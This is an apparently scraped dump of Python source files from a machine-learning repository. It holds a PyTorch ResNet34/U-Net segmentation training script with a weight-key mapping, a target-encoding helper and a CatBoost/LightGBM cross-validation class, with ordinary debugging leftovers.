plt.imshow(new_img, cmap=\"gray\")\n # plt.subplot(row, col, 2 * idx + 3)\n # mask1 = np.squeeze(data[\"mask\"].squeeze().numpy()[:, :, 0])\n # plt.imshow(mask1, cmap=\"gray\")\n # plt.subplot(row, col, 2 * idx + 4)\n # mask2 = np.squeeze(data[\"mask\"].squeeze().numpy()[:, :, 1])\n # plt.imshow(mask2, cmap=\"gray\")\n # plt.subplot(row, col, 2 * idx + 5)\n # mask3 = np.squeeze(data[\"mask\"].squeeze().numpy()[:, :, 2])\n # plt.imshow(mask3, cmap=\"gray\")\n # plt.subplot(row, col, 2 * idx + 6)\n # mask4 = np.squeeze(data[\"mask\"].squeeze().numpy()[:, :, 3])\n # plt.imshow(mask4, cmap=\"gray\")\n plt.show()\n\n\n\ndef train(df, img_dir, pretrained_file = None):\n pdb.set_trace()\n\n # set up dataset for training\n df = df.sample(frac=1., random_state = 42)\n train_number = int(len(df) * 0.8)\n train_df = df.iloc[:train_number, :]\n valid_df = df.iloc[train_number:, :]\n del df\n\n cols = [\"label_\" + str(idx) for idx in range(1, 5)]\n train_dataset = ImgDataset(train_df[\"imageId\"].values, img_dir, mask_list = train_df[cols])\n train_data_loader = DataLoader(\n train_dataset,\n batch_size=8,\n shuffle=True,\n )\n valid_dataset = ImgDataset(valid_df[\"imageId\"].values, img_dir, mask_list = train_df[cols])\n valid_data_loader = DataLoader(\n valid_dataset,\n batch_size=4,\n shuffle=True,\n )\n\n # set up model parameters\n\n model = res34Unet(num_classes=4)\n print(model)\n pdb.set_trace()\n if pretrained_file is not None:\n skip = ['block.5.weight', 'block.5.bias']\n load_pretained_weights(model, pretained_file, skip=skip, first_layer=[\"block.0.0.weight\"])\n summary(model, torch.zeros(2, 1, 224, 224))\n\n LR = 3e-4\n optimizer = optim.Adam(model.parameters(), lr = LR)\n scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode=\"min\", patience=3, verbose=True)\n\n # set up train parameters\n DEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n SAVER = \"./model_data/model.bin\"\n EPOCHS = 50\n CNT = 0\n BEST_VALID_LOSS = float(\"inf\")\n PATIENCE = 5\n train_meter = Meter(phase = \"train\")\n valid_meter = Meter(phase = \"valid\")\n\n model.to(DEVICE)\n for epoch in range(EPOCHS):\n st_time = time.time()\n train_loss = train_epoch(model, train_data_loader, optimizer,\n DEVICE, train_meter, schedule = None)\n current_time = time.time()\n train_meter.epoch_log(epoch, train_loss, current_time - st_time)\n valid_loss = valid_epoch(model, valid_data_loader, DEVICE, valid_meter)\n valid_meter.epoch_log(epoch, valid_loss, time.time() - current_time)\n scheduler.step(valid_loss)\n\n if valid_loss < BEST_VALID_LOSS:\n CNT = 0\n BEST_VALID_LOSS = valid_loss\n torch.save(model.state_dict(), SAVER)\n else:\n CNT += 1\n if CNT >= PATIENCE:\n print(\"Early stopping ... \")\n break\n\n\nif __name__ == \"__main__\":\n trainfile = os.environ.get(\"TRAINFILE\")\n # trainfile = \"../train.csv\"\n train_df = pd.read_csv(trainfile).reset_index(drop=True)\n img_dir = os.environ.get('IMAGEDIR')\n # img_dir = '../train_images'\n # pretained_file = \"./model_data/resnet34.pth\"\n\n pretained_file = os.environ.get(\"PRETRAINEDFILE\")\n\n print(\"train_df shape is {}\".format(len(train_df)))\n print(train_df.head())\n print(len(train_df[\"ImageId\"].unique()))\n\n train_df = train_df.pivot(index=\"ImageId\", columns=\"ClassId\",\n values=\"EncodedPixels\").rename_axis(None, axis=1).reset_index()\n title =[\"imageId\"] + [\"label_\" + str(idx) for idx in range(1, 5)]\n train_df.columns = title\n train_df = train_df.fillna(\"None\")\n\n print(train_df.head())\n\n train(train_df, img_dir, pretrained_file=pretained_file)" }, { "alpha_fraction": 0.6214575171470642, "alphanum_fraction": 0.626518189907074, "avg_line_length": 35.592594146728516, "blob_id": "151193760a237e8fd5c2f4a45de3f48adb3fa9e5", "content_id": "ba1d001191639096b72ab87216515a4ba7ed50af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1976, "license_type": "no_license", "max_line_length": 103, "num_lines": 54, "path": "/src/target_encoding.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\nimport pdb\n\nimport pandas as pd\nimport category_encoders as ce\nfrom sklearn.model_selection import StratifiedKFold\n\n\nclass TargetEncoding(object):\n def __init__(self, df, cat_feats, target, smoothing, handle_na = True):\n self.df = df\n self.target = target\n self.cat_feats = cat_feats\n self.smoothing = smoothing\n\n self.target_encoder = None\n\n\n def fit_transform(self, out_fold = 5):\n oof = pd.DataFrame([])\n for tr_idx, oof_idx in StratifiedKFold(n_splits=5, shuffle=True,\n random_state=42).split(self.df, self.df[self.target]):\n ce_target_encoder = ce.TargetEncoder(cols=self.cat_feats, smoothing=self.smoothing)\n ce_target_encoder.fit(self.df.iloc[tr_idx, :], self.df[self.target].iloc[tr_idx])\n oof = oof.append(ce_target_encoder.transform(self.df.iloc[oof_idx, :]), ignore_index=False)\n\n ce_target_encoder = ce.TargetEncoder(cols=self.cat_feats, smoothing=self.smoothing)\n ce_target_encoder.fit(self.df[self.cat_feats], self.df[self.target])\n self.target_encoder = ce_target_encoder\n train_df = oof.sort_index()\n return train_df\n\n def transform(self, df):\n df = self.target_encoder.transform(df[self.cat_feats])\n return df\n\n\nif __name__ == '__main__':\n TRAIN_PATH = '../input_II/train.csv'\n TEST_PATH = '../input_II/test.csv'\n pdb.set_trace()\n df = pd.read_csv(TRAIN_PATH).reset_index(drop=True)\n df_test = pd.read_csv(TEST_PATH).reset_index(drop=True)\n df = df.sample(frac=1, random_state=42)\n print(df.head())\n # print(df.nunique())\n cols = [x for x in df.columns if x not in (\"id\", \"target\")]\n pdb.set_trace()\n trg_encoder = TargetEncoding(df, cols, 'target', smoothing=0.3)\n df = trg_encoder.fit_transform(out_fold=5)\n print(df.head())\n # print(df.nunique())\n test_df = trg_encoder.transform(df_test)\n print(test_df.head())" }, { "alpha_fraction": 0.6464646458625793, "alphanum_fraction": 0.6464646458625793, "avg_line_length": 12.857142448425293, "blob_id": "3e748be22db7e188d92ab51ec154cc2e3e4d3510", "content_id": "6d376a3ecf7b990b1e157c40e2bac0c89fd331c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "no_license", "max_line_length": 31, "num_lines": 7, "path": "/cv_trivial/ensemble.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\n\nif __name__ == \"__main__\":\n\n" }, { "alpha_fraction": 0.5649141073226929, "alphanum_fraction": 0.6355355978012085, "avg_line_length": 49.55393600463867, "blob_id": "cef2a9786842a31e92dfe9e103932eb8dfd77c74", "content_id": "ff0f7efe614310f5f38d660f1efa1f6b2bb2c38d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17346, "license_type": "no_license", "max_line_length": 112, "num_lines": 343, "path": "/cv_trivial/res34Net.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\nimport pdb\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nSTATE_DICT = {\n 'block.0.0.weight': 'conv1.weight',\n \"block.0.1.weight\": \"bn1.weight\",\n \"block.0.1.bias\": \"bn1.bias\",\n \"block.0.1.running_mean\": \"bn1.running_mean\",\n \"block.0.1.running_var\": \"bn1.running_var\",\n 'block.1.1.conv_bn1.conv.weight': 'layer1.0.conv1.weight',\n 'block.1.1.conv_bn1.bn.weight': 'layer1.0.bn1.weight',\n 'block.1.1.conv_bn1.bn.bias': 'layer1.0.bn1.bias',\n 'block.1.1.conv_bn1.bn.running_mean': 'layer1.0.bn1.running_mean',\n 'block.1.1.conv_bn1.bn.running_var': 'layer1.0.bn1.running_var',\n 'block.1.1.conv_bn2.conv.weight': 'layer1.0.conv2.weight',\n 'block.1.1.conv_bn2.bn.weight': 'layer1.0.bn2.weight',\n 'block.1.1.conv_bn2.bn.bias': 'layer1.0.bn2.bias',\n 'block.1.1.conv_bn2.bn.running_mean': 'layer1.0.bn2.running_mean',\n 'block.1.1.conv_bn2.bn.running_var': 'layer1.0.bn2.running_var',\n 'block.1.2.conv_bn1.conv.weight': 'layer1.1.conv1.weight',\n 'block.1.2.conv_bn1.bn.weight': 'layer1.1.bn1.weight',\n 'block.1.2.conv_bn1.bn.bias': 'layer1.1.bn1.bias',\n 'block.1.2.conv_bn1.bn.running_mean': 'layer1.1.bn1.running_mean',\n 'block.1.2.conv_bn1.bn.running_var': 'layer1.1.bn1.running_var',\n 'block.1.2.conv_bn2.conv.weight': 'layer1.1.conv2.weight',\n 'block.1.2.conv_bn2.bn.weight': 'layer1.1.bn2.weight',\n 'block.1.2.conv_bn2.bn.bias': 'layer1.1.bn2.bias',\n 'block.1.2.conv_bn2.bn.running_mean': 'layer1.1.bn2.running_mean',\n 'block.1.2.conv_bn2.bn.running_var': 'layer1.1.bn2.running_var',\n 'block.1.3.conv_bn1.conv.weight': 'layer1.2.conv1.weight',\n 'block.1.3.conv_bn1.bn.weight': 'layer1.2.bn1.weight',\n 'block.1.3.conv_bn1.bn.bias': 'layer1.2.bn1.bias',\n 'block.1.3.conv_bn1.bn.running_mean': 'layer1.2.bn1.running_mean',\n 'block.1.3.conv_bn1.bn.running_var': 'layer1.2.bn1.running_var',\n 'block.1.3.conv_bn2.conv.weight': 'layer1.2.conv2.weight',\n 'block.1.3.conv_bn2.bn.weight': 'layer1.2.bn2.weight',\n 'block.1.3.conv_bn2.bn.bias': 'layer1.2.bn2.bias',\n 'block.1.3.conv_bn2.bn.running_mean': 'layer1.2.bn2.running_mean',\n 'block.1.3.conv_bn2.bn.running_var': 'layer1.2.bn2.running_var',\n 'block.2.0.conv_bn1.conv.weight': 'layer2.0.conv1.weight',\n 'block.2.0.conv_bn1.bn.weight': 'layer2.0.bn1.weight',\n 'block.2.0.conv_bn1.bn.bias': 'layer2.0.bn1.bias',\n 'block.2.0.conv_bn1.bn.running_mean': 'layer2.0.bn1.running_mean',\n 'block.2.0.conv_bn1.bn.running_var': 'layer2.0.bn1.running_var',\n 'block.2.0.conv_bn2.conv.weight': 'layer2.0.conv2.weight',\n 'block.2.0.conv_bn2.bn.weight' : 'layer2.0.bn2.weight',\n 'block.2.0.conv_bn2.bn.bias': 'layer2.0.bn2.bias',\n 'block.2.0.conv_bn2.bn.running_mean': 'layer2.0.bn2.running_mean',\n 'block.2.0.conv_bn2.bn.running_var': 'layer2.0.bn2.running_var',\n 'block.2.0.shortcut.conv.weight': 'layer2.0.downsample.0.weight',\n 'block.2.0.shortcut.bn.weight': 'layer2.0.downsample.1.weight',\n 'block.2.0.shortcut.bn.bias': 'layer2.0.downsample.1.bias',\n 'block.2.0.shortcut.bn.running_mean': 'layer2.0.downsample.1.running_mean',\n 'block.2.0.shortcut.bn.running_var': 'layer2.0.downsample.1.running_var',\n 'block.2.1.conv_bn1.conv.weight': 'layer2.1.conv1.weight',\n 'block.2.1.conv_bn1.bn.weight': 'layer2.1.bn1.weight',\n 'block.2.1.conv_bn1.bn.bias': 'layer2.1.bn1.bias',\n 'block.2.1.conv_bn1.bn.running_mean': 'layer2.1.bn1.running_mean',\n 'block.2.1.conv_bn1.bn.running_var': 'layer2.1.bn1.running_var',\n 'block.2.1.conv_bn2.conv.weight': 'layer2.1.conv2.weight',\n 'block.2.1.conv_bn2.bn.weight': 'layer2.1.bn2.weight',\n 'block.2.1.conv_bn2.bn.bias': 'layer2.1.bn2.bias',\n 'block.2.1.conv_bn2.bn.running_mean': 'layer2.1.bn2.running_mean',\n 'block.2.1.conv_bn2.bn.running_var': 'layer2.1.bn2.running_var',\n 'block.2.2.conv_bn1.conv.weight': 'layer2.2.conv1.weight',\n 'block.2.2.conv_bn1.bn.weight': 'layer2.2.bn1.weight',\n 'block.2.2.conv_bn1.bn.bias': 'layer2.2.bn1.bias',\n 'block.2.2.conv_bn1.bn.running_mean': 'layer2.2.bn1.running_mean',\n 'block.2.2.conv_bn1.bn.running_var': 'layer2.2.bn1.running_var',\n 'block.2.2.conv_bn2.conv.weight': 'layer2.2.conv2.weight',\n 'block.2.2.conv_bn2.bn.weight': 'layer2.2.bn2.weight',\n 'block.2.2.conv_bn2.bn.bias': 'layer2.2.bn2.bias',\n 'block.2.2.conv_bn2.bn.running_mean': 'layer2.2.bn2.running_mean',\n 'block.2.2.conv_bn2.bn.running_var': 'layer2.2.bn2.running_var',\n 'block.2.3.conv_bn1.conv.weight': 'layer2.3.conv1.weight',\n 'block.2.3.conv_bn1.bn.weight': 'layer2.3.bn1.weight',\n 'block.2.3.conv_bn1.bn.bias': 'layer2.3.bn1.bias',\n 'block.2.3.conv_bn1.bn.running_mean': 'layer2.3.bn1.running_mean',\n 'block.2.3.conv_bn1.bn.running_var': 'layer2.3.bn1.running_var',\n 'block.2.3.conv_bn2.conv.weight': 'layer2.3.conv2.weight',\n 'block.2.3.conv_bn2.bn.weight': 'layer2.3.bn2.weight',\n 'block.2.3.conv_bn2.bn.bias': 'layer2.3.bn2.bias',\n 'block.2.3.conv_bn2.bn.running_mean': 'layer2.3.bn2.running_mean',\n 'block.2.3.conv_bn2.bn.running_var': 'layer2.3.bn2.running_var',\n 'block.3.0.conv_bn1.conv.weight': 'layer3.0.conv1.weight',\n 'block.3.0.conv_bn1.bn.weight': 'layer3.0.bn1.weight',\n 'block.3.0.conv_bn1.bn.bias': 'layer3.0.bn1.bias',\n 'block.3.0.conv_bn1.bn.running_mean': 'layer3.0.bn1.running_mean',\n 'block.3.0.conv_bn1.bn.running_var': 'layer3.0.bn1.running_var',\n 'block.3.0.conv_bn2.conv.weight': 'layer3.0.conv2.weight',\n 'block.3.0.conv_bn2.bn.weight': 'layer3.0.bn2.weight',\n 'block.3.0.conv_bn2.bn.bias': 'layer3.0.bn2.bias',\n 'block.3.0.conv_bn2.bn.running_mean': 'layer3.0.bn2.running_mean',\n 'block.3.0.conv_bn2.bn.running_var': 'layer3.0.bn2.running_var',\n 'block.3.0.shortcut.conv.weight': 'layer3.0.downsample.0.weight',\n 'block.3.0.shortcut.bn.weight': 'layer3.0.downsample.1.weight',\n 'block.3.0.shortcut.bn.bias': 'layer3.0.downsample.1.bias',\n 'block.3.0.shortcut.bn.running_mean': 'layer3.0.downsample.1.running_mean',\n 'block.3.0.shortcut.bn.running_var': 'layer3.0.downsample.1.running_var',\n 'block.3.1.conv_bn1.conv.weight': 'layer3.1.conv1.weight',\n 'block.3.1.conv_bn1.bn.weight': 'layer3.1.bn1.weight',\n 'block.3.1.conv_bn1.bn.bias': 'layer3.1.bn1.bias',\n 'block.3.1.conv_bn1.bn.running_mean': 'layer3.1.bn1.running_mean',\n 'block.3.1.conv_bn1.bn.running_var': 'layer3.1.bn1.running_var',\n 'block.3.1.conv_bn2.conv.weight': 'layer3.1.conv2.weight',\n 'block.3.1.conv_bn2.bn.weight': 'layer3.1.bn2.weight',\n 'block.3.1.conv_bn2.bn.bias': 'layer3.1.bn2.bias',\n 'block.3.1.conv_bn2.bn.running_mean': 'layer3.1.bn2.running_mean',\n 'block.3.1.conv_bn2.bn.running_var': 'layer3.1.bn2.running_var',\n 'block.3.2.conv_bn1.conv.weight': 'layer3.2.conv1.weight',\n 'block.3.2.conv_bn1.bn.weight': 'layer3.2.bn1.weight',\n 'block.3.2.conv_bn1.bn.bias': 'layer3.2.bn1.bias',\n 'block.3.2.conv_bn1.bn.running_mean': 'layer3.2.bn1.running_mean',\n 'block.3.2.conv_bn1.bn.running_var': 'layer3.2.bn1.running_var',\n 'block.3.2.conv_bn2.conv.weight': 'layer3.2.conv2.weight',\n 'block.3.2.conv_bn2.bn.weight': 'layer3.2.bn2.weight',\n 'block.3.2.conv_bn2.bn.bias': 'layer3.2.bn2.bias',\n 'block.3.2.conv_bn2.bn.running_mean': 'layer3.2.bn2.running_mean',\n 'block.3.2.conv_bn2.bn.running_var': 'layer3.2.bn2.running_var',\n 'block.3.3.conv_bn1.conv.weight': 'layer3.3.conv1.weight',\n 'block.3.3.conv_bn1.bn.weight': 'layer3.3.bn1.weight',\n 'block.3.3.conv_bn1.bn.bias': 'layer3.3.bn1.bias',\n 'block.3.3.conv_bn1.bn.running_mean': 'layer3.3.bn1.running_mean',\n 'block.3.3.conv_bn1.bn.running_var': 'layer3.3.bn1.running_var',\n 'block.3.3.conv_bn2.conv.weight': 'layer3.3.conv2.weight',\n 'block.3.3.conv_bn2.bn.weight': 'layer3.3.bn2.weight',\n 'block.3.3.conv_bn2.bn.bias': 'layer3.3.bn2.bias',\n 'block.3.3.conv_bn2.bn.running_mean': 'layer3.3.bn2.running_mean',\n 'block.3.3.conv_bn2.bn.running_var': 'layer3.3.bn2.running_var',\n 'block.3.4.conv_bn1.conv.weight': 'layer3.4.conv1.weight',\n 'block.3.4.conv_bn1.bn.weight': 'layer3.4.bn1.weight',\n 'block.3.4.conv_bn1.bn.bias': 'layer3.4.bn1.bias',\n 'block.3.4.conv_bn1.bn.running_mean': 'layer3.4.bn1.running_mean',\n 'block.3.4.conv_bn1.bn.running_var': 'layer3.4.bn1.running_var',\n 'block.3.4.conv_bn2.conv.weight': 'layer3.4.conv2.weight',\n 'block.3.4.conv_bn2.bn.weight': 'layer3.4.bn2.weight',\n 'block.3.4.conv_bn2.bn.bias': 'layer3.4.bn2.bias',\n 'block.3.4.conv_bn2.bn.running_mean': 'layer3.4.bn2.running_mean',\n 'block.3.4.conv_bn2.bn.running_var': 'layer3.4.bn2.running_var',\n 'block.3.5.conv_bn1.conv.weight': 'layer3.5.conv1.weight',\n 'block.3.5.conv_bn1.bn.weight': 'layer3.5.bn1.weight',\n 'block.3.5.conv_bn1.bn.bias': 'layer3.5.bn1.bias',\n 'block.3.5.conv_bn1.bn.running_mean': 'layer3.5.bn1.running_mean',\n 'block.3.5.conv_bn1.bn.running_var': 'layer3.5.bn1.running_var',\n 'block.3.5.conv_bn2.conv.weight': 'layer3.5.conv2.weight',\n 'block.3.5.conv_bn2.bn.weight': 'layer3.5.bn2.weight',\n 'block.3.5.conv_bn2.bn.bias': 'layer3.5.bn2.bias',\n 'block.3.5.conv_bn2.bn.running_mean': 'layer3.5.bn2.running_mean',\n 'block.3.5.conv_bn2.bn.running_var': 'layer3.5.bn2.running_var',\n 'block.4.0.conv_bn1.conv.weight': 'layer4.0.conv1.weight',\n 'block.4.0.conv_bn1.bn.weight': 'layer4.0.bn1.weight',\n 'block.4.0.conv_bn1.bn.bias': 'layer4.0.bn1.bias',\n 'block.4.0.conv_bn1.bn.running_mean': 'layer4.0.bn1.running_mean',\n 'block.4.0.conv_bn1.bn.running_var': 'layer4.0.bn1.running_var',\n 'block.4.0.conv_bn2.conv.weight': 'layer4.0.conv2.weight',\n 'block.4.0.conv_bn2.bn.weight': 'layer4.0.bn2.weight',\n 'block.4.0.conv_bn2.bn.bias': 'layer4.0.bn2.bias',\n 'block.4.0.conv_bn2.bn.running_mean': 'layer4.0.bn2.running_mean',\n 'block.4.0.conv_bn2.bn.running_var': 'layer4.0.bn2.running_var',\n 'block.4.0.shortcut.conv.weight': 'layer4.0.downsample.0.weight',\n 'block.4.0.shortcut.bn.weight': 'layer4.0.downsample.1.weight',\n 'block.4.0.shortcut.bn.bias': 'layer4.0.downsample.1.bias',\n 'block.4.0.shortcut.bn.running_mean': 'layer4.0.downsample.1.running_mean',\n 'block.4.0.shortcut.bn.running_var': 'layer4.0.downsample.1.running_var',\n 'block.4.1.conv_bn1.conv.weight': 'layer4.1.conv1.weight',\n 'block.4.1.conv_bn1.bn.weight': 'layer4.1.bn1.weight',\n 'block.4.1.conv_bn1.bn.bias': 'layer4.1.bn1.bias',\n 'block.4.1.conv_bn1.bn.running_mean': 'layer4.1.bn1.running_mean',\n 'block.4.1.conv_bn1.bn.running_var': 'layer4.1.bn1.running_var',\n 'block.4.1.conv_bn2.conv.weight': 'layer4.1.conv2.weight',\n 'block.4.1.conv_bn2.bn.weight': 'layer4.1.bn2.weight',\n 'block.4.1.conv_bn2.bn.bias': 'layer4.1.bn2.bias',\n 'block.4.1.conv_bn2.bn.running_mean': 'layer4.1.bn2.running_mean',\n 'block.4.1.conv_bn2.bn.running_var': 'layer4.1.bn2.running_var',\n 'block.4.2.conv_bn1.conv.weight': 'layer4.2.conv1.weight',\n 'block.4.2.conv_bn1.bn.weight': 'layer4.2.bn1.weight',\n 'block.4.2.conv_bn1.bn.bias': 'layer4.2.bn1.bias',\n 'block.4.2.conv_bn1.bn.running_mean': 'layer4.2.bn1.running_mean',\n 'block.4.2.conv_bn1.bn.running_var': 'layer4.2.bn1.running_var',\n 'block.4.2.conv_bn2.conv.weight': 'layer4.2.conv2.weight',\n 'block.4.2.conv_bn2.bn.weight': 'layer4.2.bn2.weight',\n 'block.4.2.conv_bn2.bn.bias': 'layer4.2.bn2.bias',\n 'block.4.2.conv_bn2.bn.running_mean': 'layer4.2.bn2.running_mean',\n 'block.4.2.conv_bn2.bn.running_var': 'layer4.2.bn2.running_var',\n 'block.5.weight': 'fc.weight',\n 'block.5.bias': 'fc.bias',\n}\n\n\ndef load_pretained_weights(model, pretained_file, state_dict = STATE_DICT, skip = [], first_layer = None):\n \"\"\"\n load pretrained weights with given matched state dict\n :param model: net model\n :param pretained_file: type: file, pretrained weights file\n :param state_dict: type: dict, state parameters dict\n :param skip: type: list, layers to be skipped\n :param first_layer: type: list, modify the first layer's pretrained weights for inputs which has one channel\n :return:\n None\n \"\"\"\n assert os.path.exists(pretained_file), \"pretrained file doesn't exist\"\n print(\"loading pretrained weights to model\")\n\n pretained_state_dict = torch.load(pretained_file, map_location=lambda storage, loc: storage)\n model_state_dict = model.state_dict()\n\n # pdb.set_trace()\n if first_layer is not None:\n for x in first_layer:\n weights = pretained_state_dict[state_dict[x]].clone()\n model_state_dict[x] = torch.nn.Parameter(torch.div(weights.sum(dim=1).unsqueeze(dim=1), 3))\n state_dict.pop(x)\n\n for model_key, pretrain_keys in state_dict.items():\n if model_key in skip:\n continue\n\n print(\"{} - {}\".format(model_key, model_state_dict[model_key].shape))\n print(\"{} - {}\".format(pretrain_keys, pretained_state_dict[pretrain_keys].shape))\n model_state_dict[model_key] = pretained_state_dict[pretrain_keys]\n\n pdb.set_trace()\n model.load_state_dict(model_state_dict)\n\n\nclass Resnet34_classification(nn.Module):\n def __init__(self, num_classes, dropout):\n super(Resnet34_classification, self).__init__()\n e = ResNet34()\n\n self.block = nn.ModuleList([\n e.block0,\n e.block1,\n e.block2,\n e.block3,\n e.block4,\n ])\n e = None\n self.conv1 = nn.Conv2d(in_channels=512, out_channels=32, kernel_size=1)\n self.conv2 = nn.Conv2d(in_channels=32, out_channels=num_classes, kernel_size=1)\n self.dropout = nn.Dropout(dropout)\n self.pool = nn.AdaptiveAvgPool2d(1)\n\n def forward(self, x):\n for conv in self.block:\n x = conv(x)\n\n x = self.dropout(x)\n x = self.pool(x)\n out = self.conv1(x)\n out = self.conv2(out)\n return out\n\n\nclass ResNet34(nn.Module):\n def __init__(self, num_classes = 1000):\n super(ResNet34, self).__init__()\n\n self.block0 = nn.Sequential(\n nn.Conv2d(in_channels=1, out_channels=64, kernel_size=7, padding=3, stride=2, bias=False),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n )\n self.block1 = nn.Sequential(\n nn.MaxPool2d(kernel_size=3, padding=1, stride=2),\n BasicBlock(in_channel=64, hidden_channel=64, out_channel=64, stride=1, is_shortcut=False),\n *[BasicBlock(in_channel=64, hidden_channel=64, out_channel=64, stride=1, is_shortcut=False)\n for _ in range(0, 2)],\n )\n self.block2 = nn.Sequential(\n BasicBlock(in_channel=64, hidden_channel=128, out_channel=128, stride=2, is_shortcut=True),\n *[BasicBlock(in_channel=128, hidden_channel=128, out_channel=128, stride=1, is_shortcut=False)\n for _ in range(0, 3)],\n )\n self.block3 = nn.Sequential(\n BasicBlock(in_channel=128, hidden_channel=256, out_channel=256, stride=2, is_shortcut=True),\n *[BasicBlock(in_channel=256, hidden_channel=256, out_channel=256, is_shortcut=False)\n for _ in range(0, 5)],\n )\n self.block4 = nn.Sequential(\n BasicBlock(in_channel=256, hidden_channel=512, out_channel=512, stride=2, is_shortcut=True),\n *[BasicBlock(in_channel=512, hidden_channel=512, out_channel=512, is_shortcut=False)\n for _ in range(0, 2)],\n )\n self.linear = nn.Linear(in_features=512, out_features=num_classes)\n\n self.pool = nn.AdaptiveAvgPool2d(1)\n\n def forward(self, x):\n x = self.block0(x)\n x = self.block1(x)\n x = self.block2(x)\n x = self.block3(x)\n x = self.block4(x)\n x = self.pool(x).reshape(x.size(0), -1)\n out = self.linear(x)\n\n return out\n\n\nclass BasicBlock(nn.Module):\n def __init__(self, in_channel, hidden_channel, out_channel, stride = 1, is_shortcut = False):\n super(BasicBlock, self).__init__()\n\n self.is_shortcut = is_shortcut\n self.conv_bn1 = ConvBn2d(in_channel=in_channel, out_channel=hidden_channel,\n kernel_size=3, padding=1, stride=stride)\n self.conv_bn2 = ConvBn2d(in_channel=hidden_channel, out_channel=out_channel,\n kernel_size=3, padding=1, stride=1)\n if is_shortcut:\n self.shortcut = ConvBn2d(in_channel=in_channel, out_channel=out_channel,\n kernel_size=1, padding=0, stride=stride)\n self.relu = nn.ReLU()\n\n\n def forward(self, x):\n out = self.relu(self.conv_bn1(x))\n out = self.conv_bn2(out)\n if self.is_shortcut:\n x = self.shortcut(x)\n out = out + x\n out = self.relu(out)\n\n return out\n\n\nclass ConvBn2d(nn.Module):\n def __init__(self, in_channel, out_channel, kernel_size = 3, padding = 1, stride = 1):\n super(ConvBn2d, self).__init__()\n self.conv = nn.Conv2d(in_channels=in_channel, out_channels=out_channel,\n kernel_size=kernel_size, padding=padding,\n stride=stride, bias=False)\n self.bn = nn.BatchNorm2d(out_channel, eps=1e-5)\n\n def forward(self, x):\n x = self.bn(self.conv(x))\n\n return x\n\n\n\n\n\n" }, { "alpha_fraction": 0.5470741391181946, "alphanum_fraction": 0.5562559962272644, "avg_line_length": 32.6129035949707, "blob_id": "2c1e95bb399fd83bc501721213b914abb472f385", "content_id": "ab9a3a3606e47e5964e87bfdf7f78dd8668f6f20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7297, "license_type": "no_license", "max_line_length": 95, "num_lines": 217, "path": "/src/grid_search_boost.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\nimport pdb\nimport joblib\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn import metrics\n\nimport xgboost as xgb\nimport lightgbm as lgbm\nimport catboost as cb\nfrom catboost import CatBoostClassifier, Pool\nfrom target_encoding import TargetEncoding\n\nclass BoostModel(object):\n def __init__(self, save_path, cv = 5, random_state = 42):\n \"\"\"\n Generate a boostModel\n :param cv: number of folders\n :param random_state: random_state\n :param save_path: path for saving model\n \"\"\"\n self.cv = cv\n self.random_state = random_state\n self.save_path = save_path\n\n self.model = None\n self.param = None\n self.model_type = None\n self.cat_feature = None\n self.output = None\n\n def set_model(self, model_type, param, cat_feature = None):\n self.model_type = model_type\n if model_type == \"catboost\":\n self.model = cb.CatBoostClassifier(**param)\n # elif self.model_type == \"xgboost\":\n # # self.model = xgb.\n elif self.model_type == \"lightboost\":\n self.model = lgbm.LGBMClassifier(**param)\n else:\n raise Exception(\"model should be in xgboost, lightboost, catboost\")\n\n self.cat_feature = cat_feature\n\n def _catboost_fit(self, df, target, test_df):\n kf = StratifiedKFold(n_splits=self.cv, shuffle=True, random_state=self.random_state)\n\n for fold_idx, (train_idx, valid_idx) in enumerate(kf.split(X=df,\n y=target)):\n X_train, y_train = df.iloc[train_idx, :], target[train_idx]\n X_valid, y_valid = df.iloc[valid_idx, :], target[valid_idx]\n\n # X_train = X_train.astype(\"str\")\n # X_valid = X_valid.astype(\"str\")\n\n train = Pool(data=X_train, label=y_train,\n feature_names=list(X_train.columns), cat_features=self.cat_feature)\n\n valid = Pool(data=X_valid, label=y_valid,\n feature_names=list(X_valid.columns), cat_features=self.cat_feature)\n\n self.model.fit(train, eval_set=valid, verbose_eval=100,\n early_stopping_rounds=100, use_best_model=True)\n\n output = self.model.predict_proba(X_valid)\n self._metrix_check(y_valid, output)\n\n # joblib.dump(self.model, f\"{self.save_path}/{self.model_type}_{fold_idx}.pkl\")\n\n def _lgb_fit(self, df, target):\n kf = StratifiedKFold(n_splits=self.cv, shuffle=True, random_state=self.random_state)\n\n for fold_idx, (train_idx, valid_idx) in enumerate(kf.split(X=df,\n y=target)):\n X_train, y_train = df.iloc[train_idx, :], target[train_idx]\n X_valid, y_valid = df.iloc[valid_idx, :], target[valid_idx]\n\n self.model.fit(X_train, y_train, eval_set=(X_valid, y_valid),\n verbose=500, eval_metric='auc', early_stopping_rounds=100)\n\n output = self.model.predict_proba(X_valid)\n self._metrix_check(y_valid, output)\n\n # joblib.dump(self.model, f\"{self.save_path}/{self.model_type}_{fold_idx}.pkl\")\n\n # def _xgb_fit(self, df, target):\n\n\n def fit(self, df, target):\n if self.model_type == \"lightboost\":\n self._lgb_fit(df, target)\n elif self.model_type == \"catboost\":\n self._catboost_fit(df, target)\n else:\n raise Exception(\"model_type is not defined\")\n\n\n def _metrix_check(self, target, output):\n pdb.set_trace()\n if output.shape[1] <= 2:\n print(\"roc_auc_score is {}\".format(metrics.roc_auc_score(target, output[:, 1])))\n\n preds = np.argmax(output, axis=1).reshape((-1, 1))\n print(\"accuracy is {}\".format(metrics.accuracy_score(target, preds)))\n print(\"F1 score is 